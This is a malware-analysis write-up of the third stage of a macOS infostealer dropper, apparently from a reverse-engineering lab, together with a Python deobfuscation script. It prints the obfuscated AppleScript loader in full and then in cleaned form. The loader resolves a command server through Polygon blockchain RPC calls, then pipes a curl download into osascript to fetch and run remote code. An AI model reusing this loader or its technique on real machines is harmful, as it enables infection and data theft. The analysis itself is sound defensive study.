InfoStealer · Dropper
Essential macOS Stealer - script.sh
- Author
- Moise Medici
- Updated
- 10 Sept 2026 · Completed
- Difficulty
- Easy
- Platform
- Capabilities
- Tags
Stage3 Code Analysis
The content is:
set _gsvAhxiFzx to "UTsBBHCtVD7"property __I6ErWG2Porv : "POt5pjxcyKcAN0kZyKR"property __PrrhoYX : "iOQ8M1B3zXGp2vMs86U6"set _wGDgMr5 to (38 + 689) * 3set _VJZknJ4 to 80804set __HfAt65BHBZf to (909 + 534) * 8set __lkZsxJVHTL to 54521set _j8oRFPRKOj to 1807.245set __DnQKaIX to 2099.982set __NRFsOg1P to {((character id 112) & (character id 111) & "ly" & (ASCII character 103) & (character id 111) & "n" & (character id 46) & "d" & (ASCII character 114) & "pc." & (ASCII character 111) & "r" & "g"), ((character id 112) & "o" & (character id 108) & "y" & (ASCII character 103) & (character id 111) & "n" & (ASCII character 46) & (character id 112) & (character id 117) & (ASCII character 98) & "l" & "i" & (ASCII character 99) & "n" & (ASCII character 111) & (character id 100) & (character id 101) & (ASCII character 46) & (ASCII character 99) & (character id 111) & (ASCII character 109)), (string id {112, 111, 108, 121, 103, 111, 110, 45, 109, 97, 105, 110, 110, 101, 116, 46, 103, 97, 116, 101, 119, 97, 121, 46, 116, 97, 116, 117, 109, 46, 105, 111}), ((character id 116) & (character id 101) & (ASCII character 110) & (ASCII character 100) & "e" & (character id 114) & "l" & (ASCII character 121) & (character id 46) & (character id 114) & "p" & (ASCII character 99) & (ASCII character 46) & (character id 112) & (ASCII character 111) & (character id 108) & "y" & (ASCII character 103) & "on" & ".c" & "o" & (ASCII character 109) & "mun" & "i" & (ASCII character 116) & (character id 121))}set _vtABBLy to ("{" & (character id 34) & (character id 106) & "s" & "onr" & (character id 112) & (ASCII character 99) & (character id 34) & (character id 58) & (ASCII character 34) & (ASCII character 50) & (ASCII character 46) & (ASCII character 48) & (ASCII character 34) & (ASCII character 44) & (character id 34) & (character id 109) & (ASCII character 101) & (ASCII character 116) & "h" & (ASCII character 111) & (ASCII character 100) & (character id 34) & (character id 58) & (character id 34) & (character id 101) & "t" & (character id 104) & (character id 95) & (character id 99) & (ASCII character 97) & (ASCII character 108) & (character id 108) & (character id 34) & (ASCII character 44) & (character id 34) & "par" & "a" & (ASCII character 109) & "s" & (character id 34) & (character id 58) & (character id 91) & "{" & (ASCII character 34) & (ASCII character 116) & (ASCII character 111) & (ASCII character 34) & (character id 58) & (ASCII character 34) & "0" & (ASCII character 120) & (ASCII character 65) & (ASCII character 51) & (character id 97) & "6" & (ASCII character 48) & (character id 51) & (character id 70) & (ASCII character 56) & "a4" & "54a" & "9c" & "9" & (ASCII character 48) & (ASCII character 53) & (character id 98) & "4c5" & "7" & (character id 57) & (ASCII character 66) & (character id 98) & "7" & (character id 50) & (ASCII character 54) & (character id 50) & "8" & (ASCII character 70) & "7" & (character id 67) & "1" & (ASCII character 53) & (character id 67) & "2" & (character id 65) & (ASCII character 48) & (ASCII character 34) & (ASCII character 44) & (ASCII character 34) & (character id 100) & "at" & (character id 97) & (ASCII character 34) & (ASCII character 58) & (character id 34) & "0x" & (character id 50) & (ASCII character 54) & "8" & "6" & (ASCII character 101) & (ASCII character 99) & (ASCII character 101) & (ASCII character 97) & (ASCII character 34) & (character id 125) & "," & (ASCII character 34) & (ASCII character 108) & (ASCII character 97) & (ASCII character 116) & "e" & "s" & (ASCII character 116) & (character id 34) & (character id 93) & (character id 44) & (character id 34) & "id" & (character id 34) & ":1" & "}")
set __a6BOjZg to ("7" & (ASCII character 100) & (ASCII character 99) & (ASCII character 57) & "5" & "7" & (ASCII character 99) & (character id 51) & (character id 99) & (ASCII character 102) & (character id 99) & (ASCII character 98) & "f" & (character id 55) & (character id 98) & (ASCII character 98) & (ASCII character 55) & (ASCII character 57) & "f" & (ASCII character 102) & (character id 51) & (ASCII character 98) & (character id 56) & "f" & "0" & "f" & "8" & (character id 50) & "8" & (ASCII character 56) & (ASCII character 97) & (character id 57))
repeat with __P0S4UB7i in __NRFsOg1P try set __W7naQFHZ5nP to do.applescriptell script ((ASCII character 114) & (character id 61) & (character id 36) & "(" & (ASCII character 99) & (ASCII character 117) & (character id 114) & (ASCII character 108) & (character id 32) & (character id 45) & (ASCII character 115) & (ASCII character 32) & "--m" & (ASCII character 97) & "x" & (character id 45) & (ASCII character 116) & (character id 105) & (character id 109) & "e" & " " & (character id 49) & (ASCII character 53) & (character id 32) & "h" & (ASCII character 116) & "tps" & (character id 58) & (character id 47) & (character id 47)) & __P0S4UB7i & ((character id 32) & (ASCII character 45) & (character id 88) & (ASCII character 32) & "PO" & (character id 83) & (character id 84) & " -" & (ASCII character 72) & (character id 32) & (ASCII character 39) & (ASCII character 67) & "o" & (ASCII character 110) & (ASCII character 116) & (ASCII character 101) & "n" & "t-T" & "yp" & (ASCII character 101) & (character id 58) & (character id 32) & (ASCII character 97) & "pp" & (character id 108) & (ASCII character 105) & (character id 99) & (character id 97) & (character id 116) & "io" & (character id 110) & (character id 47) & (character id 106) & "son" & "' " & (character id 45) & (ASCII character 45) & (character id 100) & (ASCII character 97) & (ASCII character 116) & "a" & (character id 32) & (character id 39)) & _vtABBLy & ((character id 39) & (ASCII character 41) & (character id 59) & (ASCII character 32) & (character id 104) & (character id 61) & (ASCII character 36) & (character id 40) & "ec" & (ASCII character 104) & (character id 111) & (ASCII character 32) & (character id 34) & (character id 36) & (character id 114) & (character id 34) & (ASCII character 32) & (character id 124) & (character id 32) & (ASCII character 115) & (ASCII character 101) & (character id 100) & " " & "-" & (ASCII character 110) & (ASCII character 32) & (character id 39) & (ASCII character 115) & (ASCII character 47) & (character id 46) & (ASCII character 42) & (ASCII character 34) & "r" & (character id 101) & (character id 115) & (ASCII character 117) & (ASCII character 108) & (character id 116) & (ASCII character 34) & ":" & (ASCII character 34) & (character id 48) & (ASCII character 120) & (character id 92) & (ASCII character 40) & "[^" & (character id 34) & (ASCII character 93) & (ASCII character 42) & (ASCII character 92) & (character id 41) & (ASCII character 34) & (character id 46) & (ASCII character 42) & (ASCII character 47) & (ASCII character 92) & (character id 49) & (ASCII character 47) & (character id 112) & (character id 39) & (ASCII character 41) & (character id 59) & " " & "[" & (character id 32) & (ASCII character 45) & (ASCII character 122) & " " & (character id 34) & (ASCII character 36) & (ASCII character 104) & (character id 34) & (character id 32) & (character id 93) & (ASCII character 38) & "&e" & (ASCII character 120) & (character id 105) & "t" & (ASCII character 32) & "1" & (character id 59) & (character id 32) & (ASCII character 108) & "=" & (character id 36) & (ASCII character 40) & "p" & (ASCII character 114) & (character id 105) & (character id 110) & (character id 116) & (ASCII character 102) & (ASCII character 32) & (ASCII character 34) & (ASCII character 37) & (ASCII character 100) & (ASCII character 34) & (ASCII character 32) & (character id 34) & (ASCII character 48) & "x$" & "{h:" & (ASCII character 54) & "4:" & (character id 54) & "4" & (character id 125) & (character id 34) & (character id 41) & (character id 59) & (ASCII character 32) & (ASCII character 101) & (character id 99) & (character id 104) & (ASCII character 111) & " " & (character id 34) & (ASCII character 36) & (ASCII character 123) & (character id 104) & (character id 58) & "128" & (character id 58) & (ASCII character 36) & (ASCII character 40) & (ASCII character 40) & (character id 108) & (ASCII character 42) & "2" & ")" & (character id 41) & "}" & (ASCII character 34) & "|x" & (ASCII character 120) & (ASCII character 100) & (character id 32) & (ASCII character 45) & (character id 114) & (character id 32) & "-p") if __W7naQFHZ5nP is not equal "" then exit repeat end tryend repeat
if __W7naQFHZ5nP is not equal "" then set __eFU0g1zrwu to (string id {99, 117, 114, 108, 32, 45, 45, 99, 111, 110, 110, 101, 99, 116, 45, 116, 105, 109, 101, 111, 117, 116, 32, 53, 32, 45, 45, 109, 97, 120, 45, 116, 105, 109, 101, 32, 50, 48, 32, 45, 45, 114, 101, 116, 114, 121, 32, 51, 32, 45, 45, 114, 101, 116, 114, 121, 45, 100, 101, 108, 97, 121, 32, 53, 32}) & ((character id 45) & (character id 88) & (ASCII character 32) & (ASCII character 80) & (character id 79) & "S" & (character id 84) & (ASCII character 32) & (character id 104) & (character id 116) & (ASCII character 116) & "ps:" & (character id 47) & (ASCII character 47)) & quoted form of __W7naQFHZ5nP & (character id 32) & ((ASCII character 45) & (character id 100) & " ") & quoted form of (("tx" & (character id 105) & (character id 100) & "=") & __a6BOjZg & (string id {38, 98, 109, 111, 100, 117, 108, 101})) & ((character id 32) & "|" & (ASCII character 32) & "o" & (character id 115) & (character id 97) & (character id 115) & (ASCII character 99) & (character id 114) & (ASCII character 105) & (character id 112) & (ASCII character 116)) do.applescriptell script __eFU0g1zrwuend ifThe next challenge is to understand AppleScript as a language. The first two lines define variables in two different ways: with set and with property. As described in 2, the main difference is that property values are not recalculated between executions. If a property is changed, its new value becomes the starting point for that property on the next run.
The next bit to understand is the construct:
set __NRFsOg1P to {((character id 112) & (character id 40))}This sets a variable to a value made up of multiple characters joined by the and (&) operator, with each character represented by an ASCII code 3.
The other constructs will become clearer later, but for now the most important step is to deobfuscate the script by converting the IDs to characters.
The process is as follows:
- First, match all instances of
(character id xxx)and(ASCII character xxx)to extract thexxxnumbers. The following regex does this:\((ASCII )?character (id)?\s?(\d{2,3})\). It creates three capturing groups: the first optionally matchesASCII, the second optionally matchesid(which is absent whenASCIIis present), and the third matches a two- or three-digit number. The entire match can then be replaced with the character represented by that number using the following Python code:
replaced = re.sub(RE_ID, lambda m: chr(int(m.group(3))), script)- Next, remove the
&spaces and double quotes to make the result easier to read. This produces an invalid script, but that is acceptable because it does not need to be executed. The samere.subcall can be used.
This is one line of the script that is returned after this level of cleanup:
set __NRFsOg1P to {(polygon.drpc.org), (polygon.publicnode.com), (string id {112, 111, 108, 121, 103, 111, 110, 45, 109, 97, 105, 110, 110, 101, 116, 46, 103, 97, 116, 101, 119, 97, 121, 46, 116, 97, 116, 117, 109, 46, 105, 111}), (tenderly.rpc.polygon.community)}- For IDs in the
string idarray, use\(string id \{((\d{2,3},? )+\d{2,3})\}\). This matches all the IDs, including the commas, and saves them in the second capturing group. The first capturing group contains all the numbers followed by a comma and the final number.
The whole Python script is saved as id_to_char.py and contains:
import refrom pathlib import Path
RE_ID = r"\((ASCII )?character (id)?\s?(\d{2,3})\)"RE_ARRAY = r"\(string id \{((\d{2,3},? )+\d{2,3})\}\)"RE_AMP = r" & "RE_QUOTE = r'"'
script = (Path(__file__).parent / "stage3.applescript").read_text()replaced = re.sub(RE_ID, lambda m: chr(int(m.group(3))), script)replaced = re.sub(RE_AMP, "", replaced)replaced = re.sub(RE_QUOTE, "", replaced)
replaced = re.sub( RE_ARRAY, lambda m: "".join(chr(int(x)) for x in m.group(1).split(",")), replaced)
print(replaced)The output is below, and is saved as stage3_py_clean.applescript:
set _gsvAhxiFzx to UTsBBHCtVD7property __I6ErWG2Porv : POt5pjxcyKcAN0kZyKRproperty __PrrhoYX : iOQ8M1B3zXGp2vMs86U6set _wGDgMr5 to (38 + 689) * 3set _VJZknJ4 to 80804set __HfAt65BHBZf to (909 + 534) * 8set __lkZsxJVHTL to 54521set _j8oRFPRKOj to 1807.245set __DnQKaIX to 2099.982set __NRFsOg1P to {(polygon.drpc.org), (polygon.publicnode.com), polygon-mainnet.gateway.tatum.io, (tenderly.rpc.polygon.community)}set _vtABBLy to ({jsonrpc:2.0,method:eth_call,params:[{to:0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0,data:0x2686ecea},latest],id:1})
set __a6BOjZg to (7dc957c3cfcbf7bb79ff3b8f0f8288a9)
repeat with __P0S4UB7i in __NRFsOg1P try set __W7naQFHZ5nP to do.applescriptell script (r=$(curl -s --max-time 15 https://)__P0S4UB7i( -X POST -H 'Content-Type: application/json' --data ')_vtABBLy('); h=$(echo $r | sed -n 's/.*result:0x\([^]*\).*/\1/p'); [ -z $h ]&&exit 1; l=$(printf %d 0x${h:64:64}); echo ${h:128:$((l*2))}|xxd -r -p) if __W7naQFHZ5nP is not equal then exit repeat end tryend repeat
if __W7naQFHZ5nP is not equal then set __eFU0g1zrwu to curl --connect-timeout 5 --max-time 20 --retry 3 --retry-delay 5 (-X POST https://)quoted form of __W7naQFHZ5nP (-d )quoted form of ((txid=)__a6BOjZg&bmodule)( | osascript) do.applescriptell script __eFU0g1zrwuend ifNext comes manual cleanup and renaming. One important addition is restoring a couple of double quotes removed by the first cleanup. These surround strings in the sed regex and in the not equal expression. The syntax is still invalid, but this is a reasonable compromise between readability and speed. The cleanup could have been more thorough, but this approach was quick and produced a useful result.
set urls to {"polygon.drpc.org", "polygon.publicnode.com", "polygon-mainnet.gateway.tatum.io", "tenderly.rpc.polygon.community"}set data to {"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0","data":"0x2686ecea"},"latest"],"id":1}
set id to "7dc957c3cfcbf7bb79ff3b8f0f8288a9"
repeat with url in urls try set run_curl to do.applescriptell script ( r=$(curl -s --max-time 15 https://)url( -X POST -H 'Content-Type: application/json' --data ')data('); h=$(echo $r | sed -n 's/.*"result":"0x\([^"]*\).*"/\1/p'); [ -z $h ] && exit 1; l=$(printf %d "0x${h:64:64}"); echo ${h:128:$((l*2))} | xxd -r -p ) if run_curl is not equal "" then exit repeat end tryend repeat
if run_curl is not equal "" then set main to curl --connect-timeout 5 --max-time 20 --retry 3 --retry-delay 5 (-X POST https://)quoted form of run_curl (-d )quoted form of ((txid=)id&bmodule)( | osascript) do.applescriptell script mainend ifThe first few variables are never used, so they can be removed. The remaining changes are simple renaming and formatting. The formatting may not be valid AppleScript, but it is more readable this way.
The script starts by defining a list of domains and a JSON-RPC v2 object 4 to send. The object has an id value of 1 and the following parameters:
to:0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0data:0x2686ecealatest
This payload is sent to the servers one by one until one replies. Each request, performed via cURL, can run for up to 15 seconds, and the response is saved in the r variable.